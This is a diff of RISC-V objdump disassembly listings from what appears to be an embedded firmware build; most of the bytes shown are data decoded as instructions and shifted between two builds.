-    236e:	00372947          	fmsub.s	fs2,fa4,ft3,ft0,rdn
-    2372:	0500                	addi	s0,sp,640
-    2374:	7e48                	flw	fa0,60(a2)
-    2376:	002a                	c.slli	zero,0xa
-    2378:	0500                	addi	s0,sp,640
-    237a:	8349                	srli	a4,a4,0x12
-    237c:	0000                	unimp
-    237e:	0500                	addi	s0,sp,640
-    2380:	c84a                	sw	s2,16(sp)
-    2382:	0025                	c.nop	9
-    2384:	0500                	addi	s0,sp,640
-    2386:	0059ca4b          	fnmsub.s	fs4,fs3,ft5,ft0,rmm
-    238a:	0500                	addi	s0,sp,640
-    238c:	a04c                	fsd	fa1,128(s0)
-    238e:	0092                	slli	ra,ra,0x4
-    2390:	0500                	addi	s0,sp,640
-    2392:	4a4d                	li	s4,19
-    2394:	002d                	c.nop	11
-    2396:	0500                	addi	s0,sp,640
-    2398:	f252                	fsw	fs4,36(sp)
-    239a:	007f                	0x7f
-    239c:	0500                	addi	s0,sp,640
-    239e:	9c54                	0x9c54
-    23a0:	0044                	addi	s1,sp,4
-    23a2:	0500                	addi	s0,sp,640
-    23a4:	3d55                	jal	2258 <__stack_size+0x1a58>
-    23a6:	0082                	c.slli64	ra
-    23a8:	0500                	addi	s0,sp,640
-    23aa:	1e56                	slli	t3,t3,0x35
-    23ac:	007e                	c.slli	zero,0x1f
-    23ae:	0500                	addi	s0,sp,640
-    23b0:	0023a357          	0x23a357
-    23b4:	0500                	addi	s0,sp,640
-    23b6:	5658                	lw	a4,44(a2)
-    23b8:	005c                	addi	a5,sp,4
-    23ba:	0500                	addi	s0,sp,640
-    23bc:	ff59                	bnez	a4,235a <__stack_size+0x1b5a>
-    23be:	05000007          	0x5000007
-    23c2:	015a                	slli	sp,sp,0x16
-    23c4:	00a1                	addi	ra,ra,8
-    23c6:	0500                	addi	s0,sp,640
-    23c8:	005d9c5b          	0x5d9c5b
-    23cc:	0500                	addi	s0,sp,640
-    23ce:	b55c                	fsd	fa5,168(a0)
-    23d0:	003a                	c.slli	zero,0xe
-    23d2:	0500                	addi	s0,sp,640
-    23d4:	de5d                	beqz	a2,2392 <__stack_size+0x1b92>
-    23d6:	004a                	c.slli	zero,0x12
-    23d8:	0500                	addi	s0,sp,640
-    23da:	1a5e                	slli	s4,s4,0x37
-    23dc:	0025                	c.nop	9
-    23de:	0500                	addi	s0,sp,640
-    23e0:	b15f 0002 0500      	0x5000002b15f
-    23e6:	c260                	sw	s0,68(a2)
-    23e8:	002c                	addi	a1,sp,8
-    23ea:	0500                	addi	s0,sp,640
-    23ec:	1961                	addi	s2,s2,-8
-    23ee:	004a                	c.slli	zero,0x12
-    23f0:	0500                	addi	s0,sp,640
-    23f2:	e362                	fsw	fs8,132(sp)
-    23f4:	001a                	c.slli	zero,0x6
-    23f6:	0500                	addi	s0,sp,640
-    23f8:	003e2563          	0x3e2563
-    23fc:	0500                	addi	s0,sp,640
-    23fe:	6664                	flw	fs1,76(a2)
-    2400:	005f 0500 1169      	0x11690500005f
-    2406:	003c                	addi	a5,sp,8
-    2408:	0500                	addi	s0,sp,640
-    240a:	cc6a                	sw	s10,24(sp)
-    240c:	0004                	0x4
-    240e:	0500                	addi	s0,sp,640
-    2410:	0050f66b          	0x50f66b
-    2414:	0500                	addi	s0,sp,640
-    2416:	0f6d                	addi	t5,t5,27
-    2418:	0030                	addi	a2,sp,8
-    241a:	0500                	addi	s0,sp,640
-    241c:	9a6e                	add	s4,s4,s11
-    241e:	05000033          	0x5000033
-    2422:	0037706f          	j	79c24 <__stack_size+0x79424>
-    2426:	0500                	addi	s0,sp,640
-    2428:	9774                	0x9774
-    242a:	0084                	addi	s1,sp,64
-    242c:	0500                	addi	s0,sp,640
-    242e:	ca75                	beqz	a2,2522 <__stack_size+0x1d22>
-    2430:	05000063          	beq	zero,a6,2470 <__stack_size+0x1c70>
-    2434:	6876                	flw	fa6,92(sp)
-    2436:	0008                	0x8
-    2438:	0500                	addi	s0,sp,640
-    243a:	0029587b          	0x29587b
-    243e:	0500                	addi	s0,sp,640
-    2440:	0180                	addi	s0,sp,192
-    2442:	33dc                	fld	fa5,160(a5)
+    2244:	9a05                	andi	a2,a2,-31
+    2246:	c401                	beqz	s0,224e <__stack_size+0x1a4e>
+    2248:	0018                	0x18
+    224a:	0600                	addi	s0,sp,768
+    224c:	019d                	addi	gp,gp,7
+    224e:	06a4                	addi	s1,sp,840
+    2250:	0000                	unimp
+    2252:	9e05                	0x9e05
+    2254:	5f01                	li	t5,-32
+    2256:	006a                	c.slli	zero,0x1a
+    2258:	0000                	unimp
+    225a:	0004                	0x4
+    225c:	0500                	addi	s0,sp,640
+    225e:	2604                	fld	fs1,8(a2)
+    2260:	0500002f          	0x500002f
+    2264:	00080007          	0x80007
+    2268:	0500                	addi	s0,sp,640
+    226a:	4808                	lw	a0,16(s0)
+    226c:	002c                	addi	a1,sp,8
+    226e:	0500                	addi	s0,sp,640
+    2270:	170d                	addi	a4,a4,-29
+    2272:	0001                	nop
+    2274:	0500                	addi	s0,sp,640
+    2276:	0099c30f          	0x99c30f
+    227a:	0500                	addi	s0,sp,640
+    227c:	2d10                	fld	fa2,24(a0)
+    227e:	0012                	c.slli	zero,0x4
+    2280:	0500                	addi	s0,sp,640
+    2282:	4d11                	li	s10,4
+    2284:	005d                	c.nop	23
+    2286:	0500                	addi	s0,sp,640
+    2288:	5e16                	lw	t3,100(sp)
+    228a:	0500005b          	0x500005b
+    228e:	6b18                	flw	fa4,16(a4)
+    2290:	0086                	slli	ra,ra,0x1
+    2292:	0500                	addi	s0,sp,640
+    2294:	eb19                	bnez	a4,22aa <__stack_size+0x1aaa>
+    2296:	0005                	c.nop	1
+    2298:	0500                	addi	s0,sp,640
+    229a:	ad1a                	fsd	ft6,152(sp)
+    229c:	007f                	0x7f
+    229e:	0500                	addi	s0,sp,640
+    22a0:	00776f1b          	0x776f1b
+    22a4:	0500                	addi	s0,sp,640
+    22a6:	9d1c                	0x9d1c
+    22a8:	0018                	0x18
+    22aa:	0500                	addi	s0,sp,640
+    22ac:	6a1d                	lui	s4,0x7
+    22ae:	0011                	c.nop	4
+    22b0:	0500                	addi	s0,sp,640
+    22b2:	551f 002d 0500      	0x500002d551f
+    22b8:	b720                	fsd	fs0,104(a4)
+    22ba:	0052                	c.slli	zero,0x14
+    22bc:	0500                	addi	s0,sp,640
+    22be:	c225                	beqz	a2,231e <__stack_size+0x1b1e>
+    22c0:	05000087          	0x5000087
+    22c4:	00649527          	0x649527
+    22c8:	0500                	addi	s0,sp,640
+    22ca:	cc28                	sw	a0,88(s0)
+    22cc:	0005                	c.nop	1
+    22ce:	0500                	addi	s0,sp,640
+    22d0:	7529                	lui	a0,0xfffea
+    22d2:	0020                	addi	s0,sp,8
+    22d4:	0500                	addi	s0,sp,640
+    22d6:	322a                	fld	ft4,168(sp)
+    22d8:	0034                	addi	a3,sp,8
+    22da:	0500                	addi	s0,sp,640
+    22dc:	006c732b          	0x6c732b
+    22e0:	0500                	addi	s0,sp,640
+    22e2:	312c                	fld	fa1,96(a0)
+    22e4:	0500002b          	0x500002b
+    22e8:	a72d                	j	2a12 <__stack_size+0x2212>
+    22ea:	05000007          	0x5000007
+    22ee:	c832                	sw	a2,16(sp)
+    22f0:	006c                	addi	a1,sp,12
+    22f2:	0500                	addi	s0,sp,640
+    22f4:	7934                	flw	fa3,112(a0)
+    22f6:	009c                	addi	a5,sp,64
+    22f8:	0500                	addi	s0,sp,640
+    22fa:	9535                	srai	a0,a0,0x2d
+    22fc:	0045                	c.nop	17
+    22fe:	0500                	addi	s0,sp,640
+    2300:	c736                	sw	a3,140(sp)
+    2302:	009f 0500 d437      	0xd4370500009f
+    2308:	0039                	c.nop	14
+    230a:	0500                	addi	s0,sp,640
+    230c:	5f38                	lw	a4,120(a4)
+    230e:	007a                	c.slli	zero,0x1e
+    2310:	0500                	addi	s0,sp,640
+    2312:	6a39                	lui	s4,0xe
+    2314:	0078                	addi	a4,sp,12
+    2316:	0500                	addi	s0,sp,640
+    2318:	723a                	flw	ft4,172(sp)
+    231a:	0076                	c.slli	zero,0x1d
+    231c:	0500                	addi	s0,sp,640
+    231e:	bc3c                	fsd	fa5,120(s0)
+    2320:	0500000f          	fence	ow,unknown
+    2324:	4b3d                	li	s6,15
+    2326:	000d                	c.nop	3
+    2328:	0500                	addi	s0,sp,640
+    232a:	4d3e                	lw	s10,204(sp)
+    232c:	0084                	addi	s1,sp,64
+    232e:	0500                	addi	s0,sp,640
+    2330:	0076563f a0400500 	0xa04005000076563f
+    2338:	0020                	addi	s0,sp,8
+    233a:	0500                	addi	s0,sp,640
+    233c:	af41                	j	2acc <__stack_size+0x22cc>
+    233e:	0070                	addi	a2,sp,12
+    2340:	0500                	addi	s0,sp,640
+    2342:	7e42                	flw	ft8,48(sp)
+    2344:	0042                	c.slli	zero,0x10
+    2346:	0500                	addi	s0,sp,640
+    2348:	009fa943          	fmadd.s	fs2,ft11,fs1,ft0,rdn
+    234c:	0500                	addi	s0,sp,640
+    234e:	7f44                	flw	fs1,60(a4)
+    2350:	05000033          	0x5000033
+    2354:	da45                	beqz	a2,2304 <__stack_size+0x1b04>
+    2356:	002a                	c.slli	zero,0xa
+    2358:	0500                	addi	s0,sp,640
+    235a:	4d46                	lw	s10,80(sp)
+    235c:	003c                	addi	a5,sp,8
+    235e:	0500                	addi	s0,sp,640
+    2360:	0037f747          	fmsub.s	fa4,fa5,ft3,ft0
+    2364:	0500                	addi	s0,sp,640
+    2366:	4948                	lw	a0,20(a0)
+    2368:	0500002b          	0x500002b
+    236c:	8349                	srli	a4,a4,0x12
+    236e:	0000                	unimp
+    2370:	0500                	addi	s0,sp,640
+    2372:	814a                	mv	sp,s2
+    2374:	0026                	c.slli	zero,0x9
+    2376:	0500                	addi	s0,sp,640
+    2378:	005ae64b          	fnmsub.s	fa2,fs5,ft5,ft0,unknown
+    237c:	0500                	addi	s0,sp,640
+    237e:	3c4c                	fld	fa1,184(s0)
+    2380:	05000093          	li	ra,80
+    2384:	5f4d                	li	t5,-13
+    2386:	002e                	c.slli	zero,0xb
+    2388:	0500                	addi	s0,sp,640
+    238a:	7552                	flw	fa0,52(sp)
+    238c:	0080                	addi	s0,sp,64
+    238e:	0500                	addi	s0,sp,640
+    2390:	a454                	fsd	fa3,136(s0)
+    2392:	0045                	c.nop	17
+    2394:	0500                	addi	s0,sp,640
+    2396:	c055                	beqz	s0,243a <__stack_size+0x1c3a>
+    2398:	0082                	c.slli64	ra
+    239a:	0500                	addi	s0,sp,640
+    239c:	a156                	fsd	fs5,128(sp)
+    239e:	007e                	c.slli	zero,0x1f
+    23a0:	0500                	addi	s0,sp,640
+    23a2:	00244f57          	0x244f57
+    23a6:	0500                	addi	s0,sp,640
+    23a8:	6058                	flw	fa4,4(s0)
+    23aa:	005d                	c.nop	23
+    23ac:	0500                	addi	s0,sp,640
+    23ae:	b559                	j	2234 <__stack_size+0x1a34>
+    23b0:	05000007          	0x5000007
+    23b4:	1a5a                	slli	s4,s4,0x36
+    23b6:	00a1                	addi	ra,ra,8
+    23b8:	0500                	addi	s0,sp,640
+    23ba:	005e9c5b          	0x5e9c5b
+    23be:	0500                	addi	s0,sp,640
+    23c0:	cb5c                	sw	a5,20(a4)
+    23c2:	0500003b          	0x500003b
+    23c6:	255d                	jal	2a6c <__stack_size+0x226c>
+    23c8:	004c                	addi	a1,sp,4
+    23ca:	0500                	addi	s0,sp,640
+    23cc:	d35e                	sw	s7,164(sp)
+    23ce:	0025                	c.nop	9
+    23d0:	0500                	addi	s0,sp,640
+    23d2:	7c5f 0002 0500      	0x50000027c5f
+    23d8:	2260                	fld	fs0,192(a2)
+    23da:	0065                	c.nop	25
+    23dc:	0500                	addi	s0,sp,640
+    23de:	5261                	li	tp,-8
+    23e0:	0500004b          	0x500004b
+    23e4:	1962                	slli	s2,s2,0x38
+    23e6:	001a                	c.slli	zero,0x6
+    23e8:	0500                	addi	s0,sp,640
+    23ea:	003f3063          	0x3f3063
+    23ee:	0500                	addi	s0,sp,640
+    23f0:	7264                	flw	fs1,100(a2)
+    23f2:	0060                	addi	s0,sp,12
+    23f4:	0500                	addi	s0,sp,640
+    23f6:	1e69                	addi	t3,t3,-6
+    23f8:	003d                	c.nop	15
+    23fa:	0500                	addi	s0,sp,640
+    23fc:	4c6a                	lw	s8,152(sp)
+    23fe:	0004                	0x4
+    2400:	0500                	addi	s0,sp,640
+    2402:	00521e6b          	0x521e6b
+    2406:	0500                	addi	s0,sp,640
+    2408:	036d                	addi	t1,t1,27
+    240a:	0031                	c.nop	12
+    240c:	0500                	addi	s0,sp,640
+    240e:	7a6e                	flw	fs4,248(sp)
+    2410:	0034                	addi	a3,sp,8
+    2412:	0500                	addi	s0,sp,640
+    2414:	00383e6f          	jal	t3,85c16 <__stack_size+0x85416>
+    2418:	0500                	addi	s0,sp,640
+    241a:	1374                	addi	a3,sp,428
+    241c:	0085                	addi	ra,ra,1
+    241e:	0500                	addi	s0,sp,640
+    2420:	8b75                	andi	a4,a4,29
+    2422:	0064                	addi	s1,sp,12
+    2424:	0500                	addi	s0,sp,640
+    2426:	1e76                	slli	t3,t3,0x3d
+    2428:	0008                	0x8
+    242a:	0500                	addi	s0,sp,640
+    242c:	002a1c7b          	0x2a1c7b
+    2430:	0500                	addi	s0,sp,640
+    2432:	0180                	addi	s0,sp,192
+    2434:	34bc                	fld	fa5,104(s1)
+    2436:	0000                	unimp
+    2438:	8205                	srli	a2,a2,0x1
+    243a:	6201                	0x6201
+    243c:	0500000b          	0x500000b
+    2440:	778a0183          	lb	gp,1912(s4) # e778 <__stack_size+0xdf78>
     2444:	0000                	unimp
-    2446:	8205                	srli	a2,a2,0x1
-    2448:	da01                	beqz	a2,2358 <__stack_size+0x1b58>
-    244a:	0500000b          	0x500000b
-    244e:	29e40183          	lb	gp,670(s0) # 1b08ba <__stack_size+0x1b00ba>
-    2452:	0000                	unimp
-    2454:	8405                	srai	s0,s0,0x1
-    2456:	1401                	addi	s0,s0,-32
-    2458:	05000073          	0x5000073
-    245c:	0185                	addi	gp,gp,1
-    245e:	71f6                	flw	ft3,124(sp)
+    2446:	8405                	srai	s0,s0,0x1
+    2448:	af01                	j	2b58 <__stack_size+0x2358>
+    244a:	05000073          	0x5000073
+    244e:	0185                	addi	gp,gp,1
+    2450:	00007277          	0x7277
+    2454:	8605                	srai	a2,a2,0x1
+    2456:	d101                	beqz	a0,2356 <__stack_size+0x1b56>
+    2458:	0500004f          	0x500004f
+    245c:	423b0187          	0x423b0187
     2460:	0000                	unimp
-    2462:	8605                	srai	a2,a2,0x1
-    2464:	d401                	beqz	s0,236c <__stack_size+0x1b6c>
-    2466:	004e                	c.slli	zero,0x13
-    2468:	0500                	addi	s0,sp,640
-    246a:	41300187          	0x41300187
+    2462:	8805                	andi	s0,s0,1
+    2464:	ae01                	j	2774 <__stack_size+0x1f74>
+    2466:	05000013          	li	zero,80
+    246a:	0189                	addi	gp,gp,2
+    246c:	5545                	li	a0,-15
     246e:	0000                	unimp
-    2470:	8805                	andi	s0,s0,1
-    2472:	4701                	li	a4,0
-    2474:	0014                	0x14
+    2470:	8a05                	andi	a2,a2,1
+    2472:	3e01                	jal	1f82 <__stack_size+0x1782>
+    2474:	008d                	addi	ra,ra,3
     2476:	0500                	addi	s0,sp,640
-    2478:	0189                	addi	gp,gp,2
-    247a:	5409                	li	s0,-30
+    2478:	6e3c018b          	0x6e3c018b
     247c:	0000                	unimp
-    247e:	8a05                	andi	a2,a2,1
-    2480:	8b01                	andi	a4,a4,0
-    2482:	008c                	addi	a1,sp,64
+    247e:	8d05                	sub	a0,a0,s1
+    2480:	8f01                	sub	a4,a4,s0
+    2482:	0054                	addi	a3,sp,4
     2484:	0500                	addi	s0,sp,640
-    2486:	6da3018b          	0x6da3018b
+    2486:	76a00193          	li	gp,1898
     248a:	0000                	unimp
-    248c:	8d05                	sub	a0,a0,s1
-    248e:	3801                	jal	1c9e <__stack_size+0x149e>
-    2490:	05000053          	0x5000053
-    2494:	75f30193          	addi	gp,t1,1887
-    2498:	0000                	unimp
-    249a:	9405                	srai	s0,s0,0x21
-    249c:	3801                	jal	1cac <__stack_size+0x14ac>
-    249e:	0010                	0x10
+    248c:	9405                	srai	s0,s0,0x21
+    248e:	ed01                	bnez	a0,24a6 <__stack_size+0x1ca6>
+    2490:	0500000f          	fence	ow,unknown
+    2494:	0195                	addi	gp,gp,5
+    2496:	0000094b          	fnmsub.s	fs2,ft0,ft0,ft0,rne
+    249a:	9705                	srai	a4,a4,0x21
+    249c:	6501                	0x6501
+    249e:	0070                	addi	a2,sp,12
     24a0:	0500                	addi	s0,sp,640
-    24a2:	0195                	addi	gp,gp,5
-    24a4:	099f 0000 9705      	0x97050000099f
-    24aa:	cc01                	beqz	s0,24c2 <__stack_size+0x1cc2>
-    24ac:	0500006f          	j	24fc <__stack_size+0x1cfc>
-    24b0:	0198                	addi	a4,sp,192
-    24b2:	934d                	srli	a4,a4,0x33
+    24a2:	0198                	addi	a4,sp,192
+    24a4:	000093e7          	0x93e7
+    24a8:	9905                	andi	a0,a0,-31
+    24aa:	aa01                	j	25ba <__stack_size+0x1dba>
+    24ac:	008a                	slli	ra,ra,0x2
+    24ae:	0500                	addi	s0,sp,640
+    24b0:	019a                	slli	gp,gp,0x6
+    24b2:	8164                	0x8164
     24b4:	0000                	unimp
-    24b6:	9905                	andi	a0,a0,-31
-    24b8:	0701                	addi	a4,a4,0
-    24ba:	008a                	slli	ra,ra,0x2
+    24b6:	9b05                	andi	a4,a4,-31
+    24b8:	bb01                	j	21c8 <__stack_size+0x19c8>
+    24ba:	0001                	nop
     24bc:	0500                	addi	s0,sp,640
-    24be:	019a                	slli	gp,gp,0x6
-    24c0:	80e1                	srli	s1,s1,0x18
+    24be:	019c                	addi	a5,sp,192
+    24c0:	a000                	fsd	fs0,0(s0)
     24c2:	0000                	unimp
-    24c4:	9b05                	andi	a4,a4,-31
-    24c6:	e601                	bnez	a2,24ce <__stack_size+0x1cce>
-    24c8:	0001                	nop
-    24ca:	0500                	addi	s0,sp,640
-    24cc:	019c                	addi	a5,sp,192
-    24ce:	9fc8                	0x9fc8
-    24d0:	0000                	unimp
-    24d2:	0400                	addi	s0,sp,512
-    24d4:	0000                	unimp
-    24d6:	1d05                	addi	s10,s10,-31
-    24d8:	38a0                	fld	fs0,112(s1)
-    24da:	0000                	unimp
-    24dc:	6406                	flw	fs0,64(sp)
-    24de:	7556                	flw	fa0,116(sp)
-    24e0:	0000                	unimp
-    24e2:	6505                	lui	a0,0x1
-    24e4:	84bd                	srai	s1,s1,0xf
-    24e6:	0000                	unimp
-    24e8:	6606                	flw	fa2,64(sp)
-    24ea:	99a2                	add	s3,s3,s0
-    24ec:	0000                	unimp
-    24ee:	6705                	lui	a4,0x1
-    24f0:	9210                	0x9210
-    24f2:	0000                	unimp
-    24f4:	6a06                	flw	fs4,64(sp)
-    24f6:	7555                	lui	a0,0xffff5
-    24f8:	0000                	unimp
-    24fa:	6b05                	lui	s6,0x1
-    24fc:	7481                	lui	s1,0xfffe0
-    24fe:	0000                	unimp
-    2500:	6e06                	flw	ft8,64(sp)
-    2502:	8d9d                	sub	a1,a1,a5
-    2504:	0000                	unimp
-    2506:	6f05                	lui	t5,0x1
-    2508:	00003bc3          	fmadd.s	fs7,ft0,ft0,ft0,rup
-    250c:	7006                	flw	ft0,96(sp)
-    250e:	840a                	mv	s0,sp
-    2510:	0000                	unimp
-    2512:	7105                	addi	sp,sp,-480
-    2514:	9b8d                	andi	a5,a5,-29
-    2516:	0000                	unimp
-    2518:	7406                	flw	fs0,96(sp)
-    251a:	8d9c                	0x8d9c
-    251c:	0000                	unimp
-    251e:	7505                	lui	a0,0xfffe1
-    2520:	2542                	fld	fa0,16(sp)
-    2522:	0000                	unimp
-    2524:	7806                	flw	fa6,96(sp)
-    2526:	5ee2                	lw	t4,56(sp)
-    2528:	0000                	unimp
-    252a:	7905                	lui	s2,0xfffe1
-    252c:	892e                	mv	s2,a1
-    252e:	0000                	unimp
-    2530:	7a06                	flw	fs4,96(sp)
-    2532:	91b9                	srli	a1,a1,0x2e
-    2534:	0000                	unimp
-    2536:	7b05                	lui	s6,0xfffe1
-    2538:	6446                	flw	fs0,80(sp)
-    253a:	0000                	unimp
-    253c:	7e06                	flw	ft8,96(sp)
-    253e:	5ee1                	li	t4,-8
-    2540:	0000                	unimp
-    2542:	7f05                	lui	t5,0xfffe1
-    2544:	7d7a                	flw	fs10,188(sp)
+    24c4:	0400                	addi	s0,sp,512
+    24c6:	0000                	unimp
+    24c8:	1d05                	addi	s10,s10,-31
+    24ca:	00003993          	sltiu	s3,zero,0
+    24ce:	6406                	flw	fs0,64(sp)
+    24d0:	75f1                	lui	a1,0xffffc
+    24d2:	0000                	unimp
+    24d4:	6505                	lui	a0,0x1
+    24d6:	8539                	srai	a0,a0,0xe
+    24d8:	0000                	unimp
+    24da:	6606                	flw	fa2,64(sp)
+    24dc:	9a50                	0x9a50
+    24de:	0000                	unimp
+    24e0:	6705                	lui	a4,0x1
+    24e2:	000092b7          	lui	t0,0x9
+    24e6:	6a06                	flw	fs4,64(sp)
+    24e8:	75f0                	flw	fa2,108(a1)
+    24ea:	0000                	unimp
+    24ec:	6b05                	lui	s6,0x1
+    24ee:	751c                	flw	fa5,40(a0)
+    24f0:	0000                	unimp
+    24f2:	6e06                	flw	ft8,64(sp)
+    24f4:	8e50                	0x8e50
+    24f6:	0000                	unimp
+    24f8:	6f05                	lui	t5,0x1
+    24fa:	3cd0                	fld	fa2,184(s1)
+    24fc:	0000                	unimp
+    24fe:	7006                	flw	ft0,96(sp)
+    2500:	8490                	0x8490
+    2502:	0000                	unimp
+    2504:	7105                	addi	sp,sp,-480
+    2506:	9c0a                	add	s8,s8,sp
+    2508:	0000                	unimp
+    250a:	7406                	flw	fs0,96(sp)
+    250c:	00008e4f          	fnmadd.s	ft8,ft1,ft0,ft0,rne
+    2510:	7505                	lui	a0,0xfffe1
+    2512:	000025fb          	0x25fb
+    2516:	7806                	flw	fa6,96(sp)
+    2518:	5fee                	lw	t6,248(sp)
+    251a:	0000                	unimp
+    251c:	7905                	lui	s2,0xfffe1
+    251e:	89d1                	andi	a1,a1,20
+    2520:	0000                	unimp
+    2522:	7a06                	flw	fs4,96(sp)
+    2524:	9260                	0x9260
+    2526:	0000                	unimp
+    2528:	7b05                	lui	s6,0xfffe1
+    252a:	00006507          	0x6507
+    252e:	7e06                	flw	ft8,96(sp)
+    2530:	5fed                	li	t6,-5
+    2532:	0000                	unimp
+    2534:	7f05                	lui	t5,0xfffe1
+    2536:	7dfd                	lui	s11,0xfffff
+    2538:	0000                	unimp
+    253a:	8206                	mv	tp,ra
+    253c:	4b01                	li	s6,0
+    253e:	0062                	c.slli	zero,0x18
+    2540:	0500                	addi	s0,sp,640
+    2542:	1f440183          	lb	gp,500(s0)
     2546:	0000                	unimp
-    2548:	8206                	mv	tp,ra
-    254a:	4e01                	li	t3,0
-    254c:	0061                	c.nop	24
+    2548:	8406                	mv	s0,ra
+    254a:	5a01                	li	s4,-32
+    254c:	006c                	addi	a1,sp,12
     254e:	0500                	addi	s0,sp,640
-    2550:	1f0e0183          	lb	gp,496(t3)
+    2550:	0185                	addi	gp,gp,1
+    2552:	0401                	addi	s0,s0,0
     2554:	0000                	unimp
-    2556:	8406                	mv	s0,ra
-    2558:	e101                	bnez	a0,2558 <__stack_size+0x1d58>
-    255a:	05000093          	li	ra,80
-    255e:	0185                	addi	gp,gp,1
-    2560:	0471                	addi	s0,s0,28
+    2556:	8806                	mv	a6,ra
+    2558:	4a01                	li	s4,0
+    255a:	0062                	c.slli	zero,0x18
+    255c:	0500                	addi	s0,sp,640
+    255e:	0189                	addi	gp,gp,2
+    2560:	4476                	lw	s0,92(sp)
     2562:	0000                	unimp
-    2564:	8806                	mv	a6,ra
-    2566:	4d01                	li	s10,0
-    2568:	0061                	c.nop	24
+    2564:	8c06                	mv	s8,ra
+    2566:	a601                	j	2866 <__stack_size+0x2066>
+    2568:	0099                	addi	ra,ra,6
     256a:	0500                	addi	s0,sp,640
-    256c:	0189                	addi	gp,gp,2
-    256e:	00004377          	0x4377
-    2572:	8c06                	mv	s8,ra
-    2574:	0301                	addi	t1,t1,0
-    2576:	0099                	addi	ra,ra,6
-    2578:	0500                	addi	s0,sp,640
-    257a:	018d                	addi	gp,gp,3
-    257c:	00001a97          	auipc	s5,0x1
-    2580:	8e06                	mv	t3,ra
-    2582:	f201                	bnez	a2,2482 <__stack_size+0x1c82>
-    2584:	006e                	c.slli	zero,0x1b
+    256c:	018d                	addi	gp,gp,3
+    256e:	19cd                	addi	s3,s3,-13
+    2570:	0000                	unimp
+    2572:	8e06                	mv	t3,ra
+    2574:	8b01                	andi	a4,a4,0
+    2576:	0500006f          	j	25c6 <__stack_size+0x1dc6>
+    257a:	4490018f          	0x4490018f
+    257e:	0000                	unimp
+    2580:	9006                	c.add	zero,ra
+    2582:	a501                	j	2b82 <__stack_size+0x2382>
+    2584:	0099                	addi	ra,ra,6
     2586:	0500                	addi	s0,sp,640
-    2588:	4391018f          	0x4391018f
-    258c:	0000                	unimp
-    258e:	9006                	c.add	zero,ra
-    2590:	0201                	addi	tp,tp,0
-    2592:	0099                	addi	ra,ra,6
+    2588:	0191                	addi	gp,gp,4
+    258a:	029f 0000 9206      	0x92060000029f
+    2590:	8f01                	sub	a4,a4,s0
+    2592:	0002                	c.slli64	zero
     2594:	0500                	addi	s0,sp,640
-    2596:	0191                	addi	gp,gp,4
-    2598:	02d4                	addi	a3,sp,324
+    2596:	29cd0193          	addi	gp,s10,668 # ffffd29c <_heap_end+0x7ffeea9c>
     259a:	0000                	unimp
-    259c:	9206                	add	tp,tp,ra
-    259e:	c401                	beqz	s0,25a6 <__stack_size+0x1da6>
-    25a0:	0002                	c.slli64	zero
-    25a2:	0500                	addi	s0,sp,640
-    25a4:	29090193          	addi	gp,s2,656 # fffe1290 <_heap_end+0x7ffd2a90>
+    259c:	9406                	add	s0,s0,ra
+    259e:	9401                	srai	s0,s0,0x20
+    25a0:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
+    25a4:	0195                	addi	gp,gp,5
+    25a6:	0300                	addi	s0,sp,384
     25a8:	0000                	unimp
-    25aa:	9406                	add	s0,s0,ra
-    25ac:	a701                	j	2cac <__stack_size+0x24ac>
-    25ae:	008d                	addi	ra,ra,3
+    25aa:	9606                	add	a2,a2,ra
+    25ac:	8e01                	sub	a2,a2,s0
+    25ae:	0002                	c.slli64	zero
     25b0:	0500                	addi	s0,sp,640
-    25b2:	0195                	addi	gp,gp,5
-    25b4:	00000373          	0x373
-    25b8:	9606                	add	a2,a2,ra
-    25ba:	c301                	beqz	a4,25ba <__stack_size+0x1dba>
-    25bc:	0002                	c.slli64	zero
-    25be:	0500                	addi	s0,sp,640
-    25c0:	78c40197          	auipc	gp,0x78c40
+    25b2:	794e0197          	auipc	gp,0x794e0
+    25b6:	0000                	unimp
+    25b8:	9806                	add	a6,a6,ra
+    25ba:	e801                	bnez	s0,25ca <__stack_size+0x1dca>
+    25bc:	0500001b          	0x500001b
+    25c0:	0199                	addi	gp,gp,6
+    25c2:	3e26                	fld	ft8,104(sp)
     25c4:	0000                	unimp
-    25c6:	9806                	add	a6,a6,ra
-    25c8:	ba01                	j	1ed8 <__stack_size+0x16d8>
-    25ca:	001c                	0x1c
+    25c6:	9a06                	add	s4,s4,ra
+    25c8:	6a01                	0x6a01
+    25ca:	0006                	c.slli	zero,0x1
     25cc:	0500                	addi	s0,sp,640
-    25ce:	0199                	addi	gp,gp,6
-    25d0:	00003d1b          	0x3d1b
-    25d4:	9a06                	add	s4,s4,ra
-    25d6:	1201                	addi	tp,tp,-32
-    25d8:	0024                	addi	s1,sp,8
-    25da:	0500                	addi	s0,sp,640
-    25dc:	5b87019b          	0x5b87019b
+    25ce:	5caa019b          	0x5caa019b
+    25d2:	0000                	unimp
+    25d4:	9c06                	add	s8,s8,ra
+    25d6:	e701                	bnez	a4,25de <__stack_size+0x1dde>
+    25d8:	0500001b          	0x500001b
+    25dc:	019d                	addi	gp,gp,7
+    25de:	7e44                	flw	fs1,60(a2)
     25e0:	0000                	unimp
-    25e2:	9c06                	add	s8,s8,ra
-    25e4:	b901                	j	21f4 <__stack_size+0x19f4>
-    25e6:	001c                	0x1c
-    25e8:	0500                	addi	s0,sp,640
-    25ea:	019d                	addi	gp,gp,7
-    25ec:	7dc1                	lui	s11,0xffff0
+    25e2:	9e06                	add	t3,t3,ra
+    25e4:	7b01                	lui	s6,0xfffe0
+    25e6:	001f 0500 019f      	0x19f0500001f
+    25ec:	227a                	fld	ft4,408(sp)
     25ee:	0000                	unimp
-    25f0:	9e06                	add	t3,t3,ra
-    25f2:	4501                	li	a0,0
-    25f4:	001f 0500 019f      	0x19f0500001f
-    25fa:	000021fb          	0x21fb
-    25fe:	a006                	fsd	ft1,0(sp)
-    2600:	5101                	li	sp,-32
-    2602:	0500006b          	0x500006b
-    2606:	01a1                	addi	gp,gp,8
-    2608:	71be                	flw	ft3,236(sp)
+    25f0:	a006                	fsd	ft1,0(sp)
+    25f2:	f301                	bnez	a4,24f2 <__stack_size+0x1cf2>
+    25f4:	0500006b          	0x500006b
+    25f8:	01a1                	addi	gp,gp,8
+    25fa:	0000723f 7a01a206 	0x7a01a2060000723f
+    2602:	001f 0500 01a3      	0x1a30500001f
+    2608:	679c                	flw	fa5,8(a5)
     260a:	0000                	unimp
-    260c:	a206                	fsd	ft1,256(sp)
-    260e:	4401                	li	s0,0
-    2610:	001f 0500 01a3      	0x1a30500001f
-    2616:	672c                	flw	fa1,72(a4)
-    2618:	0000                	unimp
